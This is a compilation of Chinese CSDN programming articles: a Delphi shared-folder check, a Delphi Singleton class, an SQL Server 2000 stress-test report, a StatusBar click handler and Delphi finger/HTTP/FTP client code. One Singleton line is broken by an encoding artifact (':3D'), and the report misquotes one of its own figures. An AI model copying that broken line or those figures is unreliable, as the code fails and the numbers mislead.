ID := RelativeFromAbsolute(NewPIDL); //得到该目录相对于上一级目录的ItemIDList

//取得该目录上一级目录的IShellFolder接口
OleCheck(DesktopShellFolder.BindToObject(ParentPIDL, nil, IID_IShellFolder,
Pointer(ParentShellFolder)));

if ParentShellFolder <> nil then
begin
Flags := SFGAO_SHARE;
//取得该目录的属性
OleCheck(ParentShellFolder.GetAttributesOf(1, ID, Flags));
if IsElement(SFGAO_SHARE, Flags) then Result := true;
end;
end;
end;

此函数的用法：
//传进的参数为一目录的全路经
if IfFolderShared('C:\My Documents\WinPopup') then showmessage('shared')
else showmessage('not shared');

另外，有一函数 SHBindToParent 可以直接取得此目录的上一级目录的IShellFolder接口和此目录相对于上一级目录的ItemIDList，这样一来就省去了上面多个对ItemIDList进行操作的函数（这些函数从delphi6的TShellTreeView所在的单元拷贝而来），但是此函数为新加入的API，只在win2000、winxp和winme下可以使用（这么有用的函数微软怎么就没早点想出来呢）.

欢迎大家来讨论


CSDN_文档中心_Singleton模式之Delphi实现

type
  TSingleton = class(TObject)
  public
    A : Integer;
    class function NewInstance: TObject; override;
    procedure FreeInstance; override;
    class function RefCount: Integer;
  end;

implementation

var
  Instance  : TSingleton  = nil;
  Ref_Count : Integer     = 0;

procedure TSingleton.FreeInstance;
begin
  Dec( Ref_Count );
  if ( Ref_Count = 0 ) then
  begin
    Instance := nil;
    // Destroy private variables here
    inherited FreeInstance;
  end;
end;

class function TSingleton.NewInstance: TObject;
begin
  if ( not Assigned( Instance ) ) then
  begin
    Instance := inherited NewInstance as TSingleton;
    // Initialize private variables here, like this:
    TSingleton(Instance).a :3D 1;
  end;
  Result := Instance;
  Inc( Ref_Count );
end;

class function TSingleton.RefCount: Integer;
begin
  Result := Ref_Count;
end;


CSDN_文档中心_SQL SERVER 2000压力测试

SQL SERVER 2000压力测试

-- 大记录量，大信息容量

这是我刚进入现在公司的时候所作的两个测试报告之一，现公布出来，希望能对大家有所帮助。

随着Microsoft的新一代关系数据库系统SQL SERVER 2000（以下简称SQL2K）的发布，业界纷纷瞄准了它的性能，尤其是针对于Oracle 8的性能比较。在一系列的测试中，SQL2K的的确确没有辜负微软对它的期望，获得了相当不错的成绩，终于肩负起对抗Oracle，抢占高端数据库市场的使命。

在关系数据库的应用当中，当随着数量级或者容量级的数据急剧膨胀，很多数据库的性能就飞速下降。因此在要求严格的应用中，通常Oracle数据库是作为用户的首选，然而其高昂的价格却让人望而却步。随着SQL2K的到来，我们期待着Microsoft的SQL2K在大记录量和大容量的情况下能有优秀的表现。在此，我们针对SQL2K在这两方面表现的性能作了测试。

测试计划：

整个测试过程分为两个部分，第一部分是数据库大容量状态下的执行情况，第二部分是数据库在大记录量下的执行情况。为了方便测试，我们编写了一个程序进行各种数据库操作，并进行效率纪录。

在两个部分的测试中，我们分别在空数据库环境下进行各种数据库基本操作，并记录各个操作所需要的时间，然后再插入了大容量/大记录量的数据后，再作同样的操作并纪录操作所需时间。最后对前后的时间进行比较。当然，由于网络传输等问题，可能导致一些误差，但是这对我们的测试不会有太大的影响。

测试准备：

★ 测试环境：

OS：Windows 2000 Server

Database：Microsoft SQL Server 2000

Database Server：ADV2000

★ 创建数据库：

使用“企业管理器”在数据库服务器上创建数据库 test，并且设置其大小为10GB，以避免在默认容量大小下，随着数据库容量增加而导致服务器动态分配磁盘空间的时候引起开销。

随后再在test数据库上创建一个Tab表，包含以下几个字段：

字段名 | 数据类型 | 字段情况 | 可否为空
id | Int，4 | 主键，自加 | 不可
name | Char, 10 |  | 不可
age | Int, 4 |  | 不可
Photo | Image, 16 |  | 可

（表一）

★ 并且我们使用Delphi 6编写了一个测试程序，采用ADO接口，连接数据库服务器ADV2000。测试程序主要完成一下的功能：

1、 插入2000条数据（insert）

2、 选择1000条数据（select）

3、 更新1000条数据（update）

4、 删除1000条数据（delete）

5、 插入100，000条带图片数据（用于大容量测试）/插入1，000，000条不带图片测试（用于大记录量测试）

测试过程

整个测试过程分为大容量数据测试和大记录量数据测试：

大容量数据测试：

在大容量的数据测试中，我们通过插入图片来使数据库的容量膨胀，所以在以下的所有数据库操作中，例如插入数据，都是指的插入带图片的数据。测试中选择了一张41,958字节的图片，并且大容量测试是在插入100,000条记录以后的测试，因此我们可以大致估计当时的数据表的容量为 (41958 * 100000) / (1024 * 1024) = 4001.43MB。

首先通过测试程序按顺序进行如下测试，在空表中“插入2000条纪录->选择1000条记录->更新1000条记录->删除1000条记录”，并记录下各操作所需要的时间。测试结果如下图和表中：

（图一）

Insert 2000条纪录 | Select 1000条纪录 | Update 1000条纪录 | Delete 1000条纪录
132.781 S | 41.94 S | 0.841 S | 1.552S

（表二）

上面的测试是在空数据表中进行数据库各种基本操作的测试，并且记录了所需要的时间。然后我们插入100，000条带有图片的纪录，使数据表的数据量膨胀到4001.43MB，接下来的工作就是测试大容量环境下的各种数据库操作情况。

(图二)

同样按照以上的的步骤进行测试：“插入2000条纪录->选择1000条记录->更新1000条记录->删除1000条记录”，并记录下各操作的时间，如下：

（图三）

Insert 2000条纪录 | Select 1000条纪录 | Update 1000条纪录 | Delete 1000条纪录
139.05 S | 42.36 S | 0.971 S | 2.264 S

（表三）

通过对比，我们发现：

在大记录量（百万条记录得数据量下），对SQL2K的影响并不算大，其性能影响也比较小，从下图以看出来：

（图四）

从这个柱状图可以反映出在需要大量时间的SQL操作中，SQL2K在大容量数据环境下的性能基本能保持，不会有太多的性能下降。但是从后面两个只需要极短时间执行的SQL操作从图中无法反映出什么情况。

那让我们通过计算再来看一下了，下面是在大容量数据环境下，同样操作增加的时间与初始数据库环境下所需时间的百分比：

Insert 2000条纪录 | Select 1000条纪录 | Update 1000条纪录 | Delete 1000条纪录
4.72% | 1.001% | 15.46% | 45.88%

（表四）

从表中中可以看出，Update和Delete操作的时候，好像在大容量环境下的性能损失严重。但是考虑到，因为存取的数据库服务器与客户端位于不同的机器上，虽然通过100M的内部网连接，但是由于网络的问题，导致了存取中网络的延时。当操作所需要的时间比较大的时候，这一点延时对时间比例影响不大，而一旦操作所需要的时间比较短的时候，这个延时就显得尤为突出了。

对于Delete操作中的45.55%的性能损失，还有一个原因是，当删除纪录的时候，数据库会重建索引。当数据量太大的原因下，导致了重建索引耗费了较多的时间。

大记录量数据测试：

在大记录量环境下的测试，为了让大容量测试不影响这次测试，首先我们彻底删除掉大容量测试中使用的表Tab，并且重新创建一个完全一样的新表Tab用于此次测试。

这个测试中的步骤和上一个测试基本一样，同样测试了空表状况下的各个基本数据库操作所需要的时间，但是，这个测试中我们没有插入图片，photo字段没有插入任何东西，保持为空：“插入2000条纪录->选择1000条记录->更新1000条记录->删除1000条记录”，如下所示：

（图五）

Insert 2000条纪录 | Select 1000条纪录 | Update 1000条纪录 | Delete 1000条纪录
16．274 S | 0.07 S | 0.04 S | 0.04 S

（表五）

在大容量数据环境下，我们插入的是100，000条带有图片的数据，从而导致了数据量达到了4001MB，而在这次的大记录量环境下的测试，100，000条数据量可能已经不能满足我们的需要，我们希望能在更高数据量环境下进行测试，以便于增大添入大数量级数据前后操作效率的差异，因此选择了插入1，000，000条数据。

（图六）

完成我们的大数量级的数据插入以后，进行下一步的测试纪录：“插入2000条纪录->选择1000条记录->更新1000条记录->删除1000条记录”，记录下每一个操作所需要的时间，如下所示：

（图七）

Insert 2000条纪录 | Select 1000条纪录 | Update 1000条纪录 | Delete 1000条纪录
16．574 S | 0.05 S | 0.05 S | 0.051 S

（表六）

比较两种状况下的测试结果：

（图八）

从第一个操作Insert来看，同样SQL2K在大记录量环境下性能损失不大，但是其它几个操作结果从这个图中依旧无法表现出来，我们只能通过增加时间百分比来作比较：

Insert 2000条纪录 | Select 1000条纪录 | Update 1000条纪录 | Delete 1000条纪录
1.84% | -28.6% | 25% | 27.5%

（表七）

通过增长时间的百分比可以看出在这几个操作中性能有所损失，但是我们却无法派出是否是因为这些操作时间太短，因为网络而引起的误差。

四、测试结果

总结：虽然在测试中，因为很多的SQL操作因为所需要的时间过短，而导致受到网络传输的影响。但是我们仍然可以通过所需时间较长的SQL操作进行总结：

无论是在大容量（数GB单位）还是大记录量（百万条记录量）环境下，SQL SERVER 2000的性能都能保持较高的水平。一般情况下的性能损失不到5%，因此完全能够满足我们通常的实际应用。

但是因为硬件等条件的限制下，我们无法对更大容量（十GB、百GB乃至TB容量级），更大记录量（千万，亿级数据量）的环境下进行测试。

总体说来，在普通的企业级应用中，SQL SERVER 2000已经是能够满足我们的要求。


CSDN_文档中心_StatusBar有多个子栏时,如何确定鼠标在状态栏上双击时是双击哪一个子栏

StatusBar有多个子栏时,如何确定鼠标在状态栏上双击时是双击哪一个子栏?
由于TStatusPanel并无鼠标事件,所以只好另想办法:
void __fastcall TForm1::StatusBar1MouseDown(TObject *Sender,
TMouseButton Button, TShiftState Shift, int X, int Y)
{
mousex=X;
}

void __fastcall TForm1::StatusBar1DblClick(TObject *Sender)
{
int i,x;
x=0;
for(i=0;i<StatusBar1->Panels->Count;i++)
{
x+=StatusBar1->Panels->Items[i]->Width;//右边
if(mousex<x)break;
}
//此时的i已经指明了是哪个子栏
switch(i)
{
case 0:
break;
case 1:
break;
//.............
}

}


CSDN_文档中心_TCP/IP (三）

(*@\\\0000000D01*)
(*@/// procedure t_tcpip.close_socket(var socket:TSocket); *)
procedure t_tcpip.close_socket(var socket:TSocket);
begin
if socket<>INVALID_SOCKET then begin
Winsock.CloseSocket(socket);
if assigned(f_tracer) then
f_tracer('Closed socket ID '+inttostr(socket),tt_socket);
socket:=INVALID_SOCKET;
end;
end;
(*@\\\0000000501*)
(*@/// procedure t_tcpip.close_socket_linger(var socket:TSocket); *)
procedure t_tcpip.close_socket_linger(var socket:TSocket);
var
linger: TLinger;
begin
if socket<>INVALID_SOCKET then begin
linger.l_onoff:=1;
linger.l_linger:=fingerd_timeout;
winsock.setsockopt(socket,sol_socket,SO_LINGER,PChar(@linger),sizeof(linger));
winsock.shutdown(socket,1);
close_socket(socket);
socket:=INVALID_SOCKET;
end;
end;
(*@\\\0000000842*)
(*@/// function t_tcpip.Socket_by_name(const service:string):smallint; *)
function t_tcpip.Socket_by_name(const service:string):smallint;
var
service_entry : PServEnt;
s: string;
begin
s:=service+#0;
(*$ifdef ver80 *)
service_entry:=Winsock.GetServByName(pchar(@s[1]),'tcp');
(*$else *)
(*$ifopt h- *)
service_entry:=Winsock.GetServByName(pchar(@s[1]),'tcp');
(*$else *)
service_entry:=Winsock.GetServByName(pchar(s),'tcp');
(*$endif *)
(*$endif *)
if service_entry=nil then
result:=0
else
result:=winsock.htons(service_entry^.s_port);
end;
(*@\\\0000000E02*)

(*@/// procedure t_tcpip.Login; *)
procedure t_tcpip.Login;
begin
if f_logged_in then logout;
ip_address:=lookup_hostname(f_hostname);
if ip_address=INVALID_IP_ADDRESS then
raise ETcpIpError.Create('Couldn''t resolve hostname '+f_hostname);
open_socket_out(f_socket,f_Socket_number,ip_address);
if f_socket=INVALID_SOCKET then
raise ESocketError.Create(WSAGetLastError);
f_eof:=false;
f_logged_in:=true;
end;
(*@\\\0000000315*)
(*@/// procedure t_tcpip.LogOut; *)
procedure t_tcpip.LogOut;
begin
close_socket(f_socket);
f_socket:=invalid_socket;
f_logged_in:=false;
end;
(*@\\\0000000501*)
(*@/// procedure t_tcpip.SendCommand(const s:string); *)
procedure t_tcpip.SendCommand(const s:string);
begin
self.write_s(f_socket,s+#13#10);
if assigned(f_tracer) then
f_tracer(s,tt_proto_sent);
end;
(*@\\\0000000301*)

(*@/// function t_tcpip.eof(f_socket:TSocket):boolean; !!! *)
function t_tcpip.eof(f_socket:TSocket):boolean;
begin
eof:=f_eof or (socket_state(f_socket)<>connected);
end;
(*@\\\0000000114*)
(*@/// procedure t_tcpip.read_var(f_socket:TSocket; var buf; size:integer; var _ok:integer); *)
procedure t_tcpip.read_var(f_socket:TSocket; var buf; size:integer; var _ok:integer);
var
temp_buf: pointer;
error: integer;
begin
temp_buf:=NIL;
try
if @buf=NIL then
getmem(temp_buf,size) (* alloc for the -> /dev/null *)
else
temp_buf:=@buf;
repeat
_ok:=Winsock.recv(F_Socket,temp_Buf^,Size,0);
if _ok<=0 then begin
error:=Winsock.WSAGetLastError;
(* listening socket is always non-blocking, but this causes
problems with the recv command *)
if error=wsaewouldblock then begin
if f_async then begin
f_newdata:=false;
while not f_newdata do
Application.ProcessMessages;
end;
end;
f_eof:=error<>wsaewouldblock;
end
else
if assigned(f_tracer) then
f_tracer('Received '+inttostr(_ok)+' bytes on socket ID '+
inttostr(f_socket),tt_socket);
until f_eof or (_ok>0);
finally
if @buf=NIL then
freemem(temp_buf,size)
end;
end;
(*@\\\0000000601*)
(*@/// function t_tcpip.read_line(f_socket:TSocket):string; *)
function t_tcpip.read_line(f_socket:TSocket):string;
var
x: char;
ok: integer;
s: string;
begin
s:='';
repeat
read_var(f_socket,x,1,ok);
if x=#13 then (* at least NCSA 1.3 does send a #10 only *)
else if x=#10 then begin
result:=s;
EXIT;
end
else begin
s:=s+x;
end;
until eof(f_socket);
end;
(*@\\\*)
(*@/// procedure t_tcpip.write_buf(f_socket:TSocket; const buf; size:integer); *)
procedure t_tcpip.write_buf(f_socket:TSocket; const buf; size:integer);
begin
if Winsock.Send(F_Socket,pointer(@buf)^,size,0)=SOCKET_ERROR then
EXIT (* Error writing *)
else
if assigned(f_tracer) then
f_tracer('Sent '+inttostr(size)+' bytes on socket ID '+
inttostr(f_socket),tt_socket);
end;
(*@\\\0000000801*)
(*@/// procedure t_tcpip.write_s(f_socket:TSocket; const s:string); *)
procedure t_tcpip.write_s(f_socket:TSocket; const s:string);
begin
(*$ifdef ver80 *)
write_buf(f_socket,pchar(@s[1])^,length(s));
(*$else *)
(*$ifopt h- *)
write_buf(f_socket,pchar(@s[1])^,length(s));
(*$else *)
write_buf(f_socket,pchar(s)^,length(s));
(*$endif *)
(*$endif *)
end;
(*@\\\0000000801*)

(*@/// procedure t_tcpip.SetStream(value:TStream); *)
procedure t_tcpip.SetStream(value:TStream);
begin
TMemoryStream(f_stream).LoadFromStream(value);
end;
(*@\\\0000000301*)

(*@/// procedure t_tcpip.action; *)
procedure t_tcpip.action;
var
p: pointer;
ok,ok2:integer;
begin
login;
TMemorystream(f_stream).clear;
while not eof(f_socket) do begin
read_var(f_socket,f_buffer^,buf_size,ok);
p:=f_buffer;
while ok>0 do begin (* just to be sure everything goes into the stream *)
ok2:=f_stream.write(p^,ok);
dec(ok,ok2);
p:=pointer(longint(p)+ok2);
end;
end;
f_stream.seek(0,0);
end;
(*@\\\0000000303*)
(*@\\\*)

{ Finger client and demon }
(*@/// class t_finger(t_tcpip) *)
(*@/// constructor t_finger.Create(Aowner:TComponent); *)
constructor t_finger.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_Socket_number:=IPPORT_FINGER; (* 79 *)
end;
(*@\\\0000000403*)

(*@/// procedure t_finger.action; *)
procedure t_finger.action;
var
p: pointer;
ok,ok2:integer;
s: string;
begin
login;
s:=f_user+#13#10;
write_s(f_socket,s);
TMemorystream(f_stream).clear;
while not eof(f_socket) do begin
read_var(f_socket,f_buffer^,buf_size,ok);
p:=f_buffer;
while ok>0 do begin (* just to be sure everything goes into the stream *)
ok2:=f_stream.write(p^,ok);
dec(ok,ok2);
p:=pointer(longint(p)+ok2);
end;
end;
f_stream.seek(0,0); (* set the stream back to start *)
logout;
end;
(*@\\\0000000D10*)
(*@\\\0000000301*)
(*@/// class t_fingerd(t_tcpip) *)
(*@/// constructor t_fingerd.Create(Aowner:TComponent); *)
constructor t_fingerd.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_Socket_number:=IPPORT_FINGER; (* 79 *)
f_answer:=TStringList.Create;
end;


CSDN_文档中心_TCP/IP (四）

(*@\\\0000000501*)
(*@/// destructor t_fingerd.Destroy; *)
destructor t_fingerd.Destroy;
begin
f_answer.Free;
inherited destroy;
end;
(*@\\\0000000301*)
(*@/// procedure t_fingerd.do_action; *)
procedure t_fingerd.do_action;
var
i: integer;
temp_socket: TSocket;
finger_info:TFingerInfo;
sockinfo: TSockAddr;
s: string;
begin
temp_socket:=f_socket;
self.f_socket:=accept_socket_in(f_socket,sockinfo);
f_eof:=false;
finger_info.address:=longint(sockinfo.Sin_addr);
s:=self.read_line(f_socket);
finger_info.request:=s;
finger_info.hostname:=''; (* NYI !!! *)
if assigned(f_fingerrequest) then
f_fingerrequest(self,finger_info);
for i:=0 to f_answer.count-1 do begin
self.write_s(f_socket,f_answer.strings[i]+#13#10);
end;
close_socket_linger(f_socket);
f_socket:=temp_socket;
end;
(*@\\\000000131B*)
(*@/// procedure t_fingerd.SetAnswer(Value: TStringList); *)
procedure t_fingerd.SetAnswer(Value: TStringList);
begin
if value=NIL then
f_answer.clear
else
f_answer.assign(value);
end;
(*@\\\0000000603*)
(*@/// procedure t_fingerd.WndProc(var Msg : TMessage); *)
procedure t_fingerd.WndProc(var Msg : TMessage);
begin
if msg.msg<>uwm_socketevent then
inherited wndproc(msg)
else begin
if msg.lparamhi=socket_error then
else begin
case msg.lparamlo of
fd_accept: begin
do_action;
end;
end;
end;
end;
end;
(*@\\\0000000E09*)
(*@/// procedure t_fingerd.action; *)
procedure t_fingerd.action;
begin
open_socket_in(f_socket,f_Socket_number,my_ip_address);
if f_socket=INVALID_SOCKET then
raise ESocketError.Create(WSAGetLastError);
winsock.WSAAsyncSelect(f_socket,f_handle,uwm_socketevent,fd_accept);
end;
(*@\\\000000010B*)
(*@\\\000000051C*)

{ HTTP and FTP - the file transfer protocols }
(*@/// class t_http(t_tcpip) *)
(*@/// constructor t_http.Create(Aowner:TComponent); *)
constructor t_http.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_content_post:='application/x-www-form-urlencoded';
f_do_author:=TStringlist.Create;
end;
(*@\\\0000000503*)
(*@/// destructor t_http.Destroy; *)
destructor t_http.Destroy;
begin
f_do_author.free;
inherited destroy;
end;
(*@\\\*)

(*@/// procedure t_http.sendrequest(const method,version: string); *)
procedure t_http.sendrequest(const method,version: string);
begin
SendCommand(method+' '+f_path+' HTTP/'+version);
if f_sender<>'' then
SendCommand('From: '+f_sender);
if f_reference<>'' then
SendCommand('Referer: '+f_reference);
if f_agent<>'' then
SendCommand('User-Agent: '+f_agent);
if f_nocache then
SendCommand('Pragma: no-cache');
if method='POST' then begin
SendCommand('Content-Length: '+inttostr(stream.size));
if f_content_post<>'' then
SendCommand('Content-Type: '+f_content_post);
end;
if f_author<>'' then begin
self.write_s(f_socket,'Authorization: '+f_author+#13#10);
if assigned(f_tracer) then
f_tracer('Authorization: *****',tt_proto_sent);
end;
self.write_s(f_socket,#13#10); (* finalize the request *)
end;
(*@\\\0000000301*)
(*@/// procedure t_http.getanswer; *)
procedure t_http.getanswer;
var
s: string;
proto,user,pass,port: string;
field,data: string;
begin
f_do_author.clear;
f_type:='';
f_size:=0;
repeat
s:=self.read_line(f_socket);
if s<>'' then
if assigned(f_tracer) then
f_tracer(s,tt_proto_get);
if false then
(*@/// else if left(s,8)='HTTP/1.0' then http-status-reply *)
else if copy(s,1,8)='HTTP/1.0' then begin
f_status_nr:=strtoint(copy(s,10,3));
f_status_txt:=copy(s,14,length(s));
if f_status_nr>=400 then EXIT; (* HTTP error returned *)
end
(*@\\\*)
(*@/// else if pos(':',s)>0 then parse the response string *)
else if pos(':',s)>0 then begin
field:=lowercase(copy(s,1,pos(':',s)-1));
data:=copy(s,pos(':',s)+2,length(s));
if false then
{ else if field='date' then }
{ else if field='mime-version' then }
{ else if field='pragma' then }
{ else if field='allow' then }
(*@/// else if field='location' then change the uri !!! *)
else if field='location' then begin
if proxy<>'' then
f_path:=data (* it goes via a proxy, so just change the uri *)
else begin
parse_url(data,proto,user,pass,f_hostname,port,f_path);
if port<>'' then f_Socket_number:=strtoint(port);
end;
end
(*@\\\0000000601*)
{ else if field='server' then }
{ else if field='content-encoding' then }
(*@/// else if field='content-length' then *)
else if field='content-length' then
f_size:=strtoint(data)
(*@\\\*)
(*@/// else if field='content-type' then *)
else if field='content-type' then
f_type:=data
(*@\\\*)
(*@/// else if field='www-authenticate' then *)
else if field='www-authenticate' then
f_do_author.add(data)
(*@\\\000000020E*)
{ else if field='expires' then }
{ else if field='last-modified' then }
end
(*@\\\0000000901*)
(*@/// else some very strange response, ignore it *)
else;
(*@\\\*)
until s='';
if f_status_nr>=400 then
raise EProtocolError.Create('HTTP',f_status_txt,f_status_nr);
end;
(*@\\\0000001101*)

(*@/// procedure t_http.action; *)
procedure t_http.action;
var
proto,user,pass,host,port,path: string;
begin
(*@/// parse url and proxy to f_hostname, f_path and f_socket_number *)
if f_proxy<>'' then begin
parse_url(f_url,proto,user,pass,host,port,path);
f_path:=f_url;
if proto='' then
f_path:='http://'+f_path;
parse_url(f_proxy,proto,user,pass,host,port,path);
if port='' then port:='8080';
end
else begin
parse_url(f_url,proto,user,pass,host,port,f_path);
if port='' then port:='80';
end;
if proto='' then proto:='http';
if f_path='' then f_path:='/';

f_hostname:=host;
f_Socket_number:=strtoint(port);
(*@\\\0000000601*)
gethead; (* to process an eventually Location: answer *)
getbody;
end;
(*@\\\0000000501*)
(*@/// procedure t_http.GetHead; *)
procedure t_http.GetHead;
begin
login;
sendrequest('HEAD','1.0');
getanswer;
logout;
end;
(*@\\\0000000701*)
(*@/// procedure t_http.GetBody; *)
procedure t_http.GetBody;
var
p: pointer;
ok,ok2:integer;
begin
login;
sendrequest('GET','1.0');
getanswer;
(*@/// read the data *)
TMemorystream(f_stream).clear;
while not eof(f_socket) do begin
read_var(f_socket,f_buffer^,buf_size,ok);
p:=f_buffer;
while ok>0 do begin (* just to be sure everything goes into the stream *)
ok2:=f_stream.write(p^,ok);
dec(ok,ok2);
p:=pointer(longint(p)+ok2);
end;
end;
f_stream.seek(0,0); (* set the stream back to start *)
(*@\\\*)
logout;
end;
(*@\\\0000000901*)
(*@/// procedure t_http.Post; *)
procedure t_http.Post;
var
p: pointer;
ok,ok2:integer;
proto,user,pass,host,port,path: string;
begin
(*@/// parse url and proxy to f_hostname, f_path and f_socket_number *)
if f_proxy<>'' then begin
parse_url(f_proxy,proto,user,pass,host,port,path);
f_path:=f_url;
if port='' then port:='8080';
end
else begin
parse_url(f_url,proto,user,pass,host,port,f_path);
if port='' then port:='80';
end;
if proto='' then proto:='http';
if path='' then path:='/';

f_hostname:=host;
f_Socket_number:=strtoint(port);
(*@\\\*)
login;
sendrequest('POST','1.0');
(*@/// Send the data *)
TMemorystream(f_stream).seek(0,0);
ok:=1;
while ok>0 do begin
ok:=f_stream.read(f_buffer^,buf_size);
write_buf(f_socket,f_buffer^,ok);
end;
(*@\\\0000000607*)
getanswer;
(*@/// read in the response body *)
TMemorystream(f_stream).clear;
while not eof(f_socket) do begin
read_var(f_socket,f_buffer^,buf_size,ok);
p:=f_buffer;
while ok>0 do begin (* just to be sure everything goes into the stream *)
ok2:=f_stream.write(p^,ok);
dec(ok,ok2);
p:=pointer(longint(p)+ok2);
end;
end;
f_stream.seek(0,0); (* set the stream back to start *)
(*@\\\0000000201*)
logout;
end;


CSDN_文档中心_TCP/IP (五）

(*@\\\*)

(*@/// procedure t_http.DoBasicAuthorization(const username,password:string); *)
procedure t_http.DoBasicAuthorization(const username,password:string);
var
h: TMemoryStream;
encoded: TStringlist;
begin
f_author:=username+':'+password;
h:=NIL;
encoded:=NIL;
try
h:=TMemoryStream.Create;
stream_write_s(h,f_author);
encoded:=encode_base64(h);
if encoded.count>0 then
f_author:='Basic '+encoded.strings[0];
finally
h.free;
encoded.free;
end;
end;
(*@\\\0000000C1D*)
(*@\\\0000000501*)
(*@/// class t_ftp(t_tcpip) *)
(*@/// constructor t_ftp.Create(Aowner:TComponent); *)
constructor t_ftp.Create(Aowner:TComponent);
begin
inherited create(AOwner);
f_port:=21;
f_user:='ftp';
f_password:='nobody@nowhere'; (* only to make it running without setting user/password *)
f_passive:=true;
f_mode:=tftp_download;
f_cur_dir:=TStringlist.Create;
f_comm_socket:=INVALID_SOCKET;
f_busy:=false;
f_dir_stream:=TMemorystream.Create;
end;
(*@\\\*)
(*@/// destructor t_ftp.Destroy; *)
destructor t_ftp.Destroy;
begin
f_cur_dir.free;
f_dir_stream.free;
inherited destroy;
end;
(*@\\\0000000301*)

(*@/// procedure t_ftp.action; *)
procedure t_ftp.action;
begin
login;
TMemorystream(f_stream).clear;
case f_mode of
tftp_download: download;
tftp_upload: upload;
tftp_getdir: getdir('.');
end;
logout;
end;
(*@\\\0000000303*)
(*@/// procedure t_ftp.response; *)
procedure t_ftp.response;
var
s: string;
begin
s:=self.read_line_comm;
if assigned(f_tracer) then
f_tracer(s,tt_proto_get);
try
f_status_nr:=strtoint(copy(s,1,3));
except
f_status_nr:=999;
end;
f_status_txt:=copy(s,5,length(s));
if f_status_nr>=400 then
raise EProtocolError.Create('FTP',f_status_txt,f_status_nr);
(* if the answer consists of several lines read and discard all the following *)
while (pos('-',s)=4) or (pos(' ',s)=1) do begin
s:=self.read_line_comm;
if assigned(f_tracer) then
f_tracer(s,tt_proto_get);
end;
end;
(*@\\\0000000701*)

(*@/// procedure t_ftp.login; // USER and PASS commands *)
procedure t_ftp.login;
begin
f_socket_number:=f_port;
inherited login;
f_comm_socket:=f_socket;
self.response; (* Read the welcome message *)
self.SendCommand('USER '+f_user);
self.response;
{ self.SendCommand('PASS '+f_password); }
write_s(f_comm_socket,'PASS '+f_password+#13#10);
if assigned(f_tracer) then
f_tracer('PASS ******',tt_proto_sent);
self.response;
self.SendCommand('TYPE I'); (* always use binary *)
self.response;
end;
(*@\\\0000000301*)
(*@/// procedure t_ftp.logout; // QUIT command *)
procedure t_ftp.logout;
begin
if f_busy then self.abort;
if f_logged_in then begin
if f_comm_socket<>INVALID_SOCKET then begin
self.SendCommand('QUIT');
self.response;
end;
if f_socket<>invalid_socket then
closesocket(f_socket);
f_socket:=f_comm_socket;
f_comm_socket:=INVALID_SOCKET;
end;
inherited logout;
end;
(*@\\\0000000406*)

(*@/// procedure t_ftp.getdir(const dirname:string); // LIST command *)
procedure t_ftp.getdir(const dirname:string);
begin
if f_busy then raise(EProtocolBusy.create);
if not f_logged_in then login;
if (dirname='') then EXIT;
get_datasocket;
self.SendCommand('TYPE A');
self.response;
self.SendCommand('LIST '+dirname);
self.response;
f_mode_intern:=tftp_getdir;
f_busy:=true;
TMemorystream(f_dir_stream).clear;
if not f_async_data then begin
while do_read do ;
f_eof:=false;
self.response;
finish_getdir;
end
else begin
winsock.WSAAsyncSelect(f_comm_socket,f_handle,uwm_socketevent,fd_read);
f_eof:=false;
f_async:=true;
self.response;
f_async:=false;
winsock.WSAAsyncSelect(f_comm_socket,f_handle,uwm_socketevent,0);
finish_getdir;
end;
end;
(*@\\\0000000501*)
(*@/// procedure t_ftp.download; // RETR command *)
procedure t_ftp.download;
begin
if f_busy then raise(EProtocolBusy.create);
if not f_logged_in then login;
if f_url<>'' then begin
self.SendCommand('SIZE '+f_url); (* can I use the path here? *)
try
self.response;
f_size:=strtoint(f_status_txt);
except
f_size:=0;
end;
get_datasocket;
self.SendCommand('RETR '+f_url); (* can I use the path here? *)
self.response;
f_mode_intern:=tftp_download;
f_busy:=true;
TMemorystream(f_stream).clear;
if not f_async_data then begin
while do_read do ;
f_eof:=false;
self.response;
finish_download;
end
else begin
winsock.WSAAsyncSelect(f_comm_socket,f_handle,uwm_socketevent,fd_read);
f_eof:=false;
f_async:=true;
self.response;
f_async:=false;
winsock.WSAAsyncSelect(f_comm_socket,f_handle,uwm_socketevent,0);
finish_download;
end;
end;
end;
(*@\\\0000000907*)
(*@/// procedure t_ftp.upload; // STOR command *)
procedure t_ftp.upload;
begin
if f_busy then raise(EProtocolBusy.create);
if not f_logged_in then login;
if f_url<>'' then begin
get_datasocket;
self.SendCommand('STOR '+f_url); (* can I use the path here? *)
self.response;
f_mode_intern:=tftp_upload;
f_busy:=true;
f_size:=TMemorystream(f_stream).size;
TMemorystream(f_stream).seek(0,0);
if not f_async_data then begin
while do_write do;
finish_upload;
end
else begin
winsock.WSAAsyncSelect(f_comm_socket,f_handle,uwm_socketevent,fd_read);
finish_upload;
winsock.WSAAsyncSelect(f_comm_socket,f_handle,uwm_socketevent,0);
end;
end;
end;
(*@\\\0000000B0B*)

(*@/// procedure t_ftp.abort; // ABOR command *)
procedure t_ftp.abort;
begin
if f_busy then begin
self.SendCommand('ABOR');
try
self.response;
except
on EProtocolError do begin
if f_status_nr<>426 then
raise EProtocolError.Create('FTP',f_status_txt,f_status_nr)
else begin
self.response;
f_busy:=false;
end;
end;
end;
end;
end;
(*@\\\0000000301*)
(*@/// procedure t_ftp.noop; // NOOP command *)
procedure t_ftp.noop;
begin
if f_busy then raise(EProtocolBusy.create);
if not f_logged_in then login;
self.SendCommand('NOOP');
self.response;
end;
(*@\\\0000000501*)
(*@/// procedure t_ftp.changedir(const f_dir:string); // CWD command *)
procedure t_ftp.changedir(const f_dir:string);
begin
if f_busy then raise(EProtocolBusy.create);
if not f_logged_in then login;
self.SendCommand('CWD '+f_dir);
self.response;
end;
(*@\\\*)
(*@/// procedure t_ftp.removefile(const filename:string); // DELE command *)
procedure t_ftp.removefile(const filename:string);
begin
if f_busy then raise(EProtocolBusy.create);
if not f_logged_in then login;
self.SendCommand('DELE '+filename);
self.response;
end;
(*@\\\*)
(*@/// procedure t_ftp.removedir(const dirname:string); // RMD command *)
procedure t_ftp.removedir(const dirname:string);
begin
if f_busy then raise(EProtocolBusy.create);
if not f_logged_in then login;
self.SendCommand('RMD '+dirname);
self.response;
end;
(*@\\\*)
(*@/// procedure t_ftp.makedir(const dirname:string); // MKD command *)
procedure t_ftp.makedir(const dirname:string);
begin
if f_busy then raise(EProtocolBusy.create);
if not f_logged_in then login;
